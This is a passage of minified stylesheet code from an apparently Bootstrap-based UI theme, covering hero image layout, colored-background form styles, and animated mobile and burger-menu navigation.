i:nth-child(15){top:6%;left:40%}.section-images{max-height:670px;height:670px}.section-images .hero-images-container,.section-images .hero-images-container-1,.section-images .hero-images-container-2{margin-top:-38vh}.section-images .hero-images-container{max-width:670px}.section-images .hero-images-container-1{max-width:390px;position:absolute;top:55%;right:18%}.section-images .hero-images-container-2{max-width:225px;position:absolute;top:68%;right:12%}[data-background-color=orange]{background-color:#e95e38}[data-background-color=black]{background-color:#2c2c2c}[data-background-color]{color:#fff}[data-background-color] .title,[data-background-color] .social-description h2,[data-background-color] p,[data-background-color] p.blockquote,[data-background-color] p.blockquote small,[data-background-color] h1,[data-background-color] h2,[data-background-color] h3,[data-background-color] h4,[data-background-color] h5,[data-background-color] h6,[data-background-color] a:not(.btn):not(.dropdown-item),[data-background-color] .icons-container i{color:#fff}[data-background-color] .separator{background-color:#fff}[data-background-color] .navbar.bg-white p{color:#888}[data-background-color] .description,[data-background-color] .social-description p{color:rgba(255,255,255,.8)}[data-background-color] p.blockquote{border-color:rgba(255,255,255,.2)}[data-background-color] .checkbox label::before,[data-background-color] .checkbox label::after,[data-background-color] .radio label::before,[data-background-color] .radio label::after{border-color:rgba(255,255,255,.2)}[data-background-color] .checkbox label::after,[data-background-color] .checkbox label,[data-background-color] .radio label{color:#fff}[data-background-color] .checkbox input[type=checkbox]:disabled+label,[data-background-color] .radio input[type=radio]:disabled+label{color:#fff}[data-background-color] .radio input[type=radio]:not(:disabled):hover+label::after,[data-background-color] .radio input[type=radio]:checked+label::after{background-color:#fff;border-color:#fff}[data-background-color] .form-control::-moz-placeholder{color:#ebebeb;opacity:1;filter:alpha(opacity=100)}[data-background-color] .form-control:-moz-placeholder{color:#ebebeb;opacity:1;filter:alpha(opacity=100)}[data-background-color] .form-control::-webkit-input-placeholder{color:#ebebeb;opacity:1;filter:alpha(opacity=100)}[data-background-color] .form-control:-ms-input-placeholder{color:#ebebeb;opacity:1;filter:alpha(opacity=100)}[data-background-color] .form-control{border-color:rgba(255,255,255,.5);color:#fff}[data-background-color] .form-control:focus{border-color:#fff;background-color:transparent;color:#fff}[data-background-color] .has-success:after,[data-background-color] .has-danger:after{color:#fff}[data-background-color] .has-danger .form-control{background-color:transparent}[data-background-color] .input-group-addon{background-color:transparent;border-color:rgba(255,255,255,.5);color:#fff}[data-background-color] .input-group-focus .input-group-addon{background-color:transparent;border-color:#fff;color:#fff}[data-background-color] .form-group.form-group-no-border .form-control,[data-background-color] .input-group.form-group-no-border .form-control{background-color:rgba(255,255,255,.1);color:#fff}[data-background-color] .form-group.form-group-no-border .form-control:focus,[data-background-color] .form-group.form-group-no-border .form-control:active,[data-background-color] .form-group.form-group-no-border .form-control:active,[data-background-color] .input-group.form-group-no-border .form-control:focus,[data-background-color] .input-group.form-group-no-border .form-control:active,[data-background-color] .input-group.form-group-no-border .form-control:active{background-color:rgba(255,255,255,.2);color:#fff}[data-background-color] .form-group.form-group-no-border .form-control+.input-group-addon,[data-background-color] .input-group.form-group-no-border .form-control+.input-group-addon{background-color:rgba(255,255,255,.1)}[data-background-color] .form-group.form-group-no-border .form-control+.input-group-addon:focus,[data-background-color] .form-group.form-group-no-border .form-control+.input-group-addon:active,[data-background-color] .form-group.form-group-no-border .form-control+.input-group-addon:active,[data-background-color] .input-group.form-group-no-border .form-control+.input-group-addon:focus,[data-background-color] .input-group.form-group-no-border .form-control+.input-group-addon:active,[data-background-color] .input-group.form-group-no-border .form-control+.input-group-addon:active{background-color:rgba(255,255,255,.2);color:#fff}[data-background-color] .form-group.form-group-no-border .form-control:focus+.input-group-addon,[data-background-color] .input-group.form-group-no-border .form-control:focus+.input-group-addon{background-color:rgba(255,255,255,.2);color:#fff}[data-background-color] .form-group.form-group-no-border .input-group-addon,[data-background-color] .input-group.form-group-no-border .input-group-addon{background-color:rgba(255,255,255,.1);border:none;color:#fff}[data-background-color] .form-group.form-group-no-border.input-group-focus .input-group-addon,[data-background-color] .input-group.form-group-no-border.input-group-focus .input-group-addon{background-color:rgba(255,255,255,.2);color:#fff}[data-background-color] .input-group-addon,[data-background-color] .form-group.form-group-no-border .input-group-addon,[data-background-color] .input-group.form-group-no-border .input-group-addon{color:rgba(255,255,255,.8)}[data-background-color] .btn.btn-simple{background-color:transparent;border-color:rgba(255,255,255,.5);color:#fff}[data-background-color] .btn.btn-simple:hover,[data-background-color] .btn.btn-simple:hover,[data-background-color] .btn.btn-simple:focus,[data-background-color] .btn.btn-simple:active{background-color:transparent;border-color:#fff}[data-background-color] .nav-tabs>.nav-item>.nav-link i.now-ui-icons{color:#fff}[data-background-color].section-nucleo-icons .icons-container i:nth-child(6){color:#fff}@media screen and (max-width:991px){.sidebar-collapse .navbar-collapse{position:fixed;display:block;top:0;height:100%!important;width:300px;right:0;z-index:1032;visibility:visible;background-color:#999;overflow-y:visible;border-top:none;text-align:left;max-height:none!important;-webkit-transform:translate3d(300px,0,0);-moz-transform:translate3d(300px,0,0);-o-transform:translate3d(300px,0,0);-ms-transform:translate3d(300px,0,0);transform:translate3d(300px,0,0);-webkit-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);-moz-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);-o-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);-ms-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);transition:all .5s cubic-bezier(0.685,0.0473,0.346,1)}.sidebar-collapse .navbar-collapse:before{background:#f96332;background:-webkit-linear-gradient(#f96332 0%,#000 80%);background:-o-linear-gradient(#f96332 0%,#000 80%);background:-moz-linear-gradient(#f96332 0%,#000 80%);background:linear-gradient(#f96332 0%,#000 80%);opacity:.76;filter:alpha(opacity=76);display:block;content:"";position:absolute;width:100%;height:100%;top:0;left:0;z-index:-1}.sidebar-collapse .navbar-collapse .navbar-nav:not(.navbar-logo) .nav-link{margin:0 1rem;margin-top:.3125rem}.sidebar-collapse .navbar-collapse .navbar-nav:not(.navbar-logo) .nav-link:not(.btn){color:#fff}.sidebar-collapse .navbar-collapse .dropdown-menu .dropdown-item{color:#fff}.sidebar-collapse .navbar .navbar-nav{margin-top:53px}.sidebar-collapse .navbar .navbar-nav .nav-link{padding-top:.75rem;padding-bottom:.75rem}.sidebar-collapse .navbar .navbar-nav.navbar-logo{top:0;height:53px}.sidebar-collapse .navbar .dropdown.show .dropdown-menu,.sidebar-collapse .navbar .dropdown .dropdown-menu{background-color:transparent;border:0;transition:none;-webkit-box-shadow:none;box-shadow:none;width:auto;margin:0 1rem;margin-bottom:15px;padding-top:0;height:150px;overflow-y:scroll}.sidebar-collapse .navbar .dropdown.show .dropdown-menu:before,.sidebar-collapse .navbar .dropdown .dropdown-menu:before{display:none}.sidebar-collapse .navbar .dropdown .dropdown-item{padding-left:2.5rem}.sidebar-collapse .navbar .dropdown .dropdown-menu{display:none}.sidebar-collapse .navbar .dropdown.show .dropdown-menu{display:block}.sidebar-collapse .navbar .dropdown-menu .dropdown-item:focus,.sidebar-collapse .navbar .dropdown-menu .dropdown-item:hover{color:#fff}.sidebar-collapse .navbar .navbar-translate{width:100%;position:relative;display:flex;-ms-flex-pack:justify!important;justify-content:space-between!important;-ms-flex-align:center;align-items:center;-webkit-transform:translate3d(0px,0,0);-moz-transform:translate3d(0px,0,0);-o-transform:translate3d(0px,0,0);-ms-transform:translate3d(0px,0,0);transform:translate3d(0px,0,0);-webkit-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);-moz-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);-o-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);-ms-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);transition:all .5s cubic-bezier(0.685,0.0473,0.346,1)}.sidebar-collapse .navbar .navbar-toggler-bar{display:block;position:relative;width:22px;height:1px;border-radius:1px;background:#fff}.sidebar-collapse .navbar .navbar-toggler-bar+.navbar-toggler-bar{margin-top:7px}.sidebar-collapse .navbar .navbar-toggler-bar.bar2{width:17px;transition:width .2s linear}.sidebar-collapse .navbar.bg-white:not(.navbar-transparent) .navbar-toggler-bar{background:#888}.sidebar-collapse .navbar .toggled .navbar-toggler-bar{width:24px}.sidebar-collapse .navbar .toggled .navbar-toggler-bar+.navbar-toggler-bar{margin-top:5px}.sidebar-collapse .bar1,.sidebar-collapse .bar2,.sidebar-collapse .bar3{outline:1px solid transparent}.sidebar-collapse .bar1{top:0;-webkit-animation:topbar-back 500ms linear 0s;-moz-animation:topbar-back 500ms linear 0s;animation:topbar-back 500ms 0s;-webkit-animation-fill-mode:forwards;-moz-animation-fill-mode:forwards;animation-fill-mode:forwards}.sidebar-collapse .bar2{opacity:1}.sidebar-collapse .bar3{bottom:0;-webkit-animation:bottombar-back 500ms linear 0s;-moz-animation:bottombar-back 500ms linear 0s;animation:bottombar-back 500ms 0s;-webkit-animation-fill-mode:forwards;-moz-animation-fill-mode:forwards;animation-fill-mode:forwards}.sidebar-collapse .toggled .bar1{top:6px;-webkit-animation:topbar-x 500ms linear 0s;-moz-animation:topbar-x 500ms linear 0s;animation:topbar-x 500ms 0s;-webkit-animation-fill-mode:forwards;-moz-animation-fill-mode:forwards;animation-fill-mode:forwards}.sidebar-collapse .toggled .bar2{opacity:0}.sidebar-collapse .toggled .bar3{bottom:6px;-webkit-animation:bottombar-x 500ms linear 0s;-moz-animation:bottombar-x 500ms linear 0s;animation:bottombar-x 500ms 0s;-webkit-animation-fill-mode:forwards;-moz-animation-fill-mode:forwards;animation-fill-mode:forwards}@keyframes topbar-x{0%{top:0;transform:rotate(0deg)}45%{top:6px;transform:rotate(145deg)}75%{transform:rotate(130deg)}100%{transform:rotate(135deg)}}@-webkit-keyframes topbar-x{0%{top:0;-webkit-transform:rotate(0deg)}45%{top:6px;-webkit-transform:rotate(145deg)}75%{-webkit-transform:rotate(130deg)}100%{-webkit-transform:rotate(135deg)}}@-moz-keyframes topbar-x{0%{top:0;-moz-transform:rotate(0deg)}45%{top:6px;-moz-transform:rotate(145deg)}75%{-moz-transform:rotate(130deg)}100%{-moz-transform:rotate(135deg)}}@keyframes topbar-back{0%{top:6px;transform:rotate(135deg)}45%{transform:rotate(-10deg)}75%{transform:rotate(5deg)}100%{top:0;transform:rotate(0)}}@-webkit-keyframes topbar-back{0%{top:6px;-webkit-transform:rotate(135deg)}45%{-webkit-transform:rotate(-10deg)}75%{-webkit-transform:rotate(5deg)}100%{top:0;-webkit-transform:rotate(0)}}@-moz-keyframes topbar-back{0%{top:6px;-moz-transform:rotate(135deg)}45%{-moz-transform:rotate(-10deg)}75%{-moz-transform:rotate(5deg)}100%{top:0;-moz-transform:rotate(0)}}@keyframes bottombar-x{0%{bottom:0;transform:rotate(0deg)}45%{bottom:6px;transform:rotate(-145deg)}75%{transform:rotate(-130deg)}100%{transform:rotate(-135deg)}}@-webkit-keyframes bottombar-x{0%{bottom:0;-webkit-transform:rotate(0deg)}45%{bottom:6px;-webkit-transform:rotate(-145deg)}75%{-webkit-transform:rotate(-130deg)}100%{-webkit-transform:rotate(-135deg)}}@-moz-keyframes bottombar-x{0%{bottom:0;-moz-transform:rotate(0deg)}45%{bottom:6px;-moz-transform:rotate(-145deg)}75%{-moz-transform:rotate(-130deg)}100%{-moz-transform:rotate(-135deg)}}@keyframes bottombar-back{0%{bottom:6px;transform:rotate(-135deg)}45%{transform:rotate(10deg)}75%{transform:rotate(-5deg)}100%{bottom:0;transform:rotate(0)}}@-webkit-keyframes bottombar-back{0%{bottom:6px;-webkit-transform:rotate(-135deg)}45%{-webkit-transform:rotate(10deg)}75%{-webkit-transform:rotate(-5deg)}100%{bottom:0;-webkit-transform:rotate(0)}}@-moz-keyframes bottombar-back{0%{bottom:6px;-moz-transform:rotate(-135deg)}45%{-moz-transform:rotate(10deg)}75%{-moz-transform:rotate(-5deg)}100%{bottom:0;-moz-transform:rotate(0)}}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-moz-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}.sidebar-collapse [class*=navbar-expand-] .navbar-collapse{width:300px}.sidebar-collapse .wrapper{-webkit-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);-moz-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);-o-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);-ms-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);transition:all .5s cubic-bezier(0.685,0.0473,0.346,1)}.sidebar-collapse #bodyClick{height:100%;width:100%;position:fixed;opacity:1;top:0;left:auto;right:300px;content:"";z-index:9999;overflow-x:hidden;background-color:transparent;-webkit-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);-moz-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);-o-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);-ms-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);transition:all .5s cubic-bezier(0.685,0.0473,0.346,1)}.sidebar-collapse.menu-on-left .navbar-collapse{right:auto;left:0;-webkit-transform:translate3d(-300px,0,0);-moz-transform:translate3d(-300px,0,0);-o-transform:translate3d(-300px,0,0);-ms-transform:translate3d(-300px,0,0);transform:translate3d(-300px,0,0)}.nav-open .sidebar-collapse .navbar-collapse{-webkit-transform:translate3d(0px,0,0);-moz-transform:translate3d(0px,0,0);-o-transform:translate3d(0px,0,0);-ms-transform:translate3d(0px,0,0);transform:translate3d(0px,0,0)}.nav-open .sidebar-collapse .wrapper{-webkit-transform:translate3d(-150px,0,0);-moz-transform:translate3d(-150px,0,0);-o-transform:translate3d(-150px,0,0);-ms-transform:translate3d(-150px,0,0);transform:translate3d(-150px,0,0)}.nav-open .sidebar-collapse .navbar-translate{-webkit-transform:translate3d(-300px,0,0);-moz-transform:translate3d(-300px,0,0);-o-transform:translate3d(-300px,0,0);-ms-transform:translate3d(-300px,0,0);transform:translate3d(-300px,0,0)}.nav-open .sidebar-collapse.menu-on-left .navbar-collapse{-webkit-transform:translate3d(0px,0,0);-moz-transform:translate3d(0px,0,0);-o-transform:translate3d(0px,0,0);-ms-transform:translate3d(0px,0,0);transform:translate3d(0px,0,0)}.nav-open .sidebar-collapse.menu-on-left .navbar-translate{-webkit-transform:translate3d(300px,0,0);-moz-transform:translate3d(300px,0,0);-o-transform:translate3d(300px,0,0);-ms-transform:translate3d(300px,0,0);transform:translate3d(300px,0,0)}.nav-open .sidebar-collapse.menu-on-left .wrapper{-webkit-transform:translate3d(150px,0,0);-moz-transform:translate3d(150px,0,0);-o-transform:translate3d(150px,0,0);-ms-transform:translate3d(150px,0,0);transform:translate3d(150px,0,0)}.nav-open .sidebar-collapse.menu-on-left #bodyClick{right:auto;left:300px}.bootstrap-collapse .navbar .navbar-collapse{background:0 0!important}.bootstrap-collapse .navbar .navbar-nav{margin-top:53px}.bootstrap-collapse .navbar .navbar-nav .nav-link{padding-top:.75rem;padding-bottom:.75rem}.bootstrap-collapse .navbar .navbar-nav.navbar-logo{top:0;height:53px}.bootstrap-collapse .navbar .dropdown.show .dropdown-menu,.bootstrap-collapse .navbar .dropdown .dropdown-menu{background-color:transparent;border:0;transition:none;-webkit-box-shadow:none;box-shadow:none;width:auto;margin:0 1rem;margin-bottom:15px;padding-top:0;height:150px;overflow-y:scroll}.bootstrap-collapse .navbar .dropdown.show .dropdown-menu:before,.bootstrap-collapse .navbar .dropdown .dropdown-menu:before{display:none}.bootstrap-collapse .navbar .dropdown .dropdown-item{padding-left:2.5rem}.bootstrap-collapse .navbar .dropdown .dropdown-menu{display:none}.bootstrap-collapse .navbar .dropdown.show .dropdown-menu{display:block}.bootstrap-collapse .navbar .dropdown-menu .dropdown-item:focus,.bootstrap-collapse .navbar .dropdown-menu .dropdown-item:hover{color:#fff}.bootstrap-collapse .navbar .navbar-translate{width:100%;position:relative;display:flex;-ms-flex-pack:justify!important;justify-content:space-between!important;-ms-flex-align:center;align-items:center;-webkit-transform:translate3d(0px,0,0);-moz-transform:translate3d(0px,0,0);-o-transform:translate3d(0px,0,0);-ms-transform:translate3d(0px,0,0);transform:translate3d(0px,0,0);-webkit-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);-moz-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);-o-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);-ms-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);transition:all .5s cubic-bezier(0.685,0.0473,0.346,1)}.bootstrap-collapse .navbar .navbar-toggler-bar{display:block;position:relative;width:22px;height:1px;border-radius:1px;background:#fff}.bootstrap-collapse .navbar .navbar-toggler-bar+.navbar-toggler-bar{margin-top:7px}.bootstrap-collapse .navbar .navbar-toggler-bar.bar2{width:17px;transition:width .2s linear}.bootstrap-collapse .navbar.bg-white:not(.navbar-transparent) .navbar-toggler-bar{background:#888}.bootstrap-collapse .navbar .toggled .navbar-toggler-bar{width:24px}.bootstrap-collapse .navbar .toggled .navbar-toggler-bar+.navbar-toggler-bar{margin-top:5px}.bootstrap-collapse .bar1,.bootstrap-collapse .bar2,.bootstrap-collapse .bar3{outline:1px solid transparent}.bootstrap-collapse .bar1{top:0;-webkit-animation:topbar-back 500ms linear 0s;-moz-animation:topbar-back 500ms linear 0s;animation:topbar-back 500ms 0s;-webkit-animation-fill-mode:forwards;-moz-animation-fill-mode:forwards;animation-fill-mode:forwards}.bootstrap-collapse .bar2{opacity:1}.bootstrap-collapse .bar3{bottom:0;-webkit-animation:bottombar-back 500ms linear 0s;-moz-animation:bottombar-back 500ms linear 0s;animation:bottombar-back 500ms 0s;-webkit-animation-fill-mode:forwards;-moz-animation-fill-mode:forwards;animation-fill-mode:forwards}.bootstrap-collapse .toggled .bar1{top:6px;-webkit-animation:topbar-x 500ms linear 0s;-moz-animation:topbar-x 500ms linear 0s;animation:topbar-x 500ms 0s;-webkit-animation-fill-mode:forwards;-moz-animation-fill-mode:forwards;animation-fill-mode:forwards}.bootstrap-collapse .toggled .bar2{opacity:0}.bootstrap-collapse .toggled .bar3{bottom:6px;-webkit-animation:bottombar-x 500ms linear 0s;-moz-animation:bottombar-x 500ms linear 0s;animation:bottombar-x 500ms 0s;-webkit-animation-fill-mode:forwards;-moz-animation-fill-mode:forwards;animation-fill-mode:forwards}@keyframes topbar-x{0%{top:0;transform:rotate(0deg)}45%{top:6px;transform:rotate(145deg)}75%{transform:rotate(130deg)}100%{transform:rotate(135deg)}}@-webkit-keyframes topbar-x{0%{top:0;-webkit-transform:rotate(0deg)}45%{top:6px;-webkit-transform:rotate(145deg)}75%{-webkit-transform:rotate(130deg)}100%{-webkit-transform:rotate(135deg)}}@-moz-keyframes topbar-x{0%{top:0;-moz-transform:rotate(0deg)}45%{top:6px;-moz-transform:rotate(145deg)}75%{-moz-transform:rotate(130deg)}100%{-moz-transform:rotate(135deg)}}@keyframes topbar-back{0%{top:6px;transform:rotate(135deg)}45%{transform:rotate(-10deg)}75%{transform:rotate(5deg)}100%{top:0;transform:rotate(0)}}@-webkit-keyframes topbar-back{0%{top:6px;-webkit-transform:rotate(135deg)}45%{-webkit-transform:rotate(-10deg)}75%{-webkit-transform:rotate(5deg)}100%{top:0;-webkit-transform:rotate(0)}}@-moz-keyframes topbar-back{0%{top:6px;-moz-transform:rotate(135deg)}45%{-moz-transform:rotate(-10deg)}75%{-moz-transform:rotate(5deg)}100%{top:0;-moz-transform:rotate(0)}}@keyframes bottombar-x{0%{bottom:0;transform:rotate(0deg)}45%{bottom:6px;transform:rotate(-145deg)}75%{transform:rotate(-130deg)}100%{transform:rotate(-135deg)}}@-webkit-keyframes bottombar-x{0%{bottom:0;-webkit-transform:rotate(0deg)}45%{bottom:6px;-webkit-transform:rotate(-145deg)}75%{-webkit-transform:rotate(-130deg)}100%{-webkit-transform:rotate(-135deg)}}@-moz-keyframes bottombar-x{0%{bottom:0;-moz-transform:rotate(0deg)}45%{bottom:6px;-moz-transform:rotate(-145deg)}75%{-moz-transform:rotate(-130deg)}100%{-moz-transform:rotate(-135deg)}}@keyframes bottombar-back{0%{bottom:6px;transform:rotate(-135deg)}45%{transform:rotate(10deg)}75%{transform:rotate(-5deg)}100%{bottom:0;transform:rotate(0)}}@-webkit-keyframes bottombar-back{0%{bottom:6px;-webkit-transform:rotate(-135deg)}45%{-webkit-transform:rotate(10deg)}75%{-webkit-transform:rotate(-5deg)}100%{bottom:0;-webkit-transform:rotate(0)}}@-moz-keyframes bottombar-back{0%{bottom:6px;-moz-transform:rotate(-135deg)}45%{-moz-transform:rotate(10deg)}75%{-moz-transform:rotate(-5deg)}100%{bottom:0;-moz-transform:rotate(0)}}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-moz-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}.profile-photo .profile-photo-small{margin-left:-2px}.button-dropdown{display:none}.section-nucleo-icons .container .row>[class*=col-]:first-child{text-align:center}.footer .copyright{text-align:right}.section-nucleo-icons .icons-container{margin-top:65px}.navbar-nav .nav-link i.fa,.navbar-nav .nav-link i.now-ui-icons{opacity:.5}.section-images{height:500px;max-height:500px}.section-images .hero-images-container{max-width:500px}.section-images .hero-images-container-1{right:10%;top:68%;max-width:269px}.section-images .hero-images-container-2{right:5%;max-width:135px;top:93%}}@media screen and (min-width:992px){.burger-menu .navbar-collapse{position:fixed;display:block;top:0;height:100%!important;width:300px;right:0;z-index:1032;visibility:visible;background-color:#999;overflow-y:visible;border-top:none;text-align:left;max-height:none!important;-webkit-transform:translate3d(300px,0,0);-moz-transform:translate3d(300px,0,0);-o-transform:translate3d(300px,0,0);-ms-transform:translate3d(300px,0,0);transform:translate3d(300px,0,0);-webkit-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);-moz-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);-o-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);-ms-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);transition:all .5s cubic-bezier(0.685,0.0473,0.346,1)}.burger-menu .navbar-collapse:before{background:#f96332;background:-webkit-linear-gradient(#f96332 0%,#000 80%);background:-o-linear-gradient(#f96332 0%,#000 80%);background:-moz-linear-gradient(#f96332 0%,#000 80%);background:linear-gradient(#f96332 0%,#000 80%);opacity:.76;filter:alpha(opacity=76);display:block;content:"";position:absolute;width:100%;height:100%;top:0;left:0;z-index:-1}.burger-menu .navbar-collapse .navbar-nav:not(.navbar-logo) .nav-link{margin:0 1rem;margin-top:.3125rem}.burger-menu .navbar-collapse .navbar-nav:not(.navbar-logo) .nav-link:not(.btn){color:#fff}.burger-menu .navbar-collapse .dropdown-menu .dropdown-item{color:#fff}.burger-menu .navbar .navbar-nav{margin-top:53px}.burger-menu .navbar .navbar-nav .nav-link{padding-top:.75rem;padding-bottom:.75rem}.burger-menu .navbar .navbar-nav.navbar-logo{top:0;height:53px}.burger-menu .navbar .dropdown.show .dropdown-menu,.burger-menu .navbar .dropdown .dropdown-menu{background-color:transparent;border:0;transition:none;-webkit-box-shadow:none;box-shadow:none;width:auto;margin:0 1rem;margin-bottom:15px;padding-top:0;height:150px;overflow-y:scroll}.burger-menu .navbar .dropdown.show .dropdown-menu:before,.burger-menu .navbar .dropdown .dropdown-menu:before{display:none}.burger-menu .navbar .dropdown .dropdown-item{padding-left:2.5rem}.burger-menu .navbar .dropdown .dropdown-menu{display:none}.burger-menu .navbar .dropdown.show .dropdown-menu{display:block}.burger-menu .navbar .dropdown-menu .dropdown-item:focus,.burger-menu .navbar .dropdown-menu .dropdown-item:hover{color:#fff}.burger-menu .navbar .navbar-translate{width:100%;position:relative;display:flex;-ms-flex-pack:justify!important;justify-content:space-between!important;-ms-flex-align:center;align-items:center;-webkit-transform:translate3d(0px,0,0);-moz-transform:translate3d(0px,0,0);-o-transform:translate3d(0px,0,0);-ms-transform:translate3d(0px,0,0);transform:translate3d(0px,0,0);-webkit-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);-moz-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);-o-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);-ms-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);transition:all .5s cubic-bezier(0.685,0.0473,0.346,1)}.burger-menu .navbar .navbar-toggler-bar{display:block;position:relative;width:22px;height:1px;border-radius:1px;background:#fff}.burger-menu .navbar .navbar-toggler-bar+.navbar-toggler-bar{margin-top:7px}.burger-menu .navbar .navbar-toggler-bar.bar2{width:17px;transition:width .2s linear}.burger-menu .navbar.bg-white:not(.navbar-transparent) .navbar-toggler-bar{background:#888}.burger-menu .navbar .toggled .navbar-toggler-bar{width:24px}.burger-menu .navbar .toggled .navbar-toggler-bar+.navbar-toggler-bar{margin-top:5px}.burger-menu .bar1,.burger-menu .bar2,.burger-menu .bar3{outline:1px solid transparent}.burger-menu .bar1{top:0;-webkit-animation:topbar-back 500ms linear 0s;-moz-animation:topbar-back 500ms linear 0s;animation:topbar-back 500ms 0s;-webkit-animation-fill-mode:forwards;-moz-animation-fill-mode:forwards;animation-fill-mode:forwards}.burger-menu .bar2{opacity:1}.burger-menu .bar3{bottom:0;-webkit-animation:bottombar-back 500ms linear 0s;-moz-animation:bottombar-back 500ms linear 0s;animation:bottombar-back 500ms 0s;-webkit-animation-fill-mode:forwards;-moz-animation-fill-mode:forwards;animation-fill-mode:forwards}.burger-menu .toggled .bar1{top:6px;-webkit-animation:topbar-x 500ms linear 0s;-moz-animation:topbar-x 500ms linear 0s;animation:topbar-x 500ms 0s;-webkit-animation-fill-mode:forwards;-moz-animation-fill-mode:forwards;animation-fill-mode:forwards}.burger-menu .toggled .bar2{opacity:0}.burger-menu .toggled .bar3{bottom:6px;-webkit-animation:bottombar-x 500ms linear 0s;-moz-animation:bottombar-x 500ms linear 0s;animation:bottombar-x 500ms 0s;-webkit-animation-fill-mode:forwards;-moz-animation-fill-mode:forwards;animation-fill-mode:forwards}@keyframes topbar-x{0%{top:0;transform:rotate(0deg)}45%{top:6px;transform:rotate(145deg)}75%{transform:rotate(130deg)}100%{transform:rotate(135deg)}}@-webkit-keyframes topbar-x{0%{top:0;-webkit-transform:rotate(0deg)}45%{top:6px;-webkit-transform:rotate(145deg)}75%{-webkit-transform:rotate(130deg)}100%{-webkit-transform:rotate(135deg)}}@-moz-keyframes topbar-x{0%{top:0;-moz-transform:rotate(0deg)}45%{top:6px;-moz-transform:rotate(145deg)}75%{-moz-transform:rotate(130deg)}100%{-moz-transform:rotate(135deg)}}@keyframes topbar-back{0%{top:6px;transform:rotate(135deg)}45%{transform:rotate(-10deg)}75%{transform:rotate(5deg)}100%{top:0;transform:rotate(0)}}@-webkit-keyframes topbar-back{0%{top:6px;-webkit-transform:rotate(135deg)}45%{-webkit-transform:rotate(-10deg)}75%{-webkit-transform:rotate(5deg)}100%{top:0;-webkit-transform:rotate(0)}}@-moz-keyframes topbar-back{0%{top:6px;-moz-transform:rotate(135deg)}45%{-moz-transform:rotate(-10deg)}75%{-moz-transform:rotate(5deg)}100%{top:0;-moz-transform:rotate(0)}}@keyframes bottombar-x{0%{bottom:0;transform:rotate(0deg)}45%{bottom:6px;transform:rotate(-145deg)}75%{transform:rotate(-130deg)}100%{transform:rotate(-135deg)}}@-webkit-keyframes bottombar-x{0%{bottom:0;-webkit-transform:rotate(0deg)}45%{bottom:6px;-webkit-transform:rotate(-145deg)}75%{-webkit-transform:rotate(-130deg)}100%{-webkit-transform:rotate(-135deg)}}@-moz-keyframes bottombar-x{0%{bottom:0;-moz-transform:rotate(0deg)}45%{bottom:6px;-moz-transform:rotate(-145deg)}75%{-moz-transform:rotate(-130deg)}100%{-moz-transform:rotate(-135deg)}}@keyframes bottombar-back{0%{bottom:6px;transform:rotate(-135deg)}45%{transform:rotate(10deg)}75%{transform:rotate(-5deg)}100%{bottom:0;transform:rotate(0)}}@-webkit-keyframes bottombar-back{0%{bottom:6px;-webkit-transform:rotate(-135deg)}45%{-webkit-transform:rotate(10deg)}75%{-webkit-transform:rotate(-5deg)}100%{bottom:0;-webkit-transform:rotate(0)}}@-moz-keyframes bottombar-back{0%{bottom:6px;-moz-transform:rotate(-135deg)}45%{-moz-transform:rotate(10deg)}75%{-moz-transform:rotate(-5deg)}100%{bottom:0;-moz-transform:rotate(0)}}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-moz-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}.burger-menu [class*=navbar-expand-] .navbar-collapse{width:300px}.burger-menu .wrapper{-webkit-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);-moz-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);-o-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);-ms-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);transition:all .5s cubic-bezier(0.685,0.0473,0.346,1)}.burger-menu #bodyClick{height:100%;width:100%;position:fixed;opacity:1;top:0;left:auto;right:300px;content:"";z-index:9999;overflow-x:hidden;background-color:transparent;-webkit-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);-moz-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);-o-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);-ms-transition:all .5s cubic-bezier(0.685,0.0473,0.346,1);transition:all .5s cubic-bezier(0.685,0.0473,0.346,1)}.nav-open .burger-menu .navbar-collapse{-webkit-transform:translate3d(0px,0,0);-moz-transform:translate3d(0px,0,0);-o-transform:translate3d(0px,0,0);-ms-transform:translate3d(0px,0,0);transform:translate3d(0px,0,0)}.burger-menu .navbar-collapse{display:block!important}.burger-menu .navbar-collapse 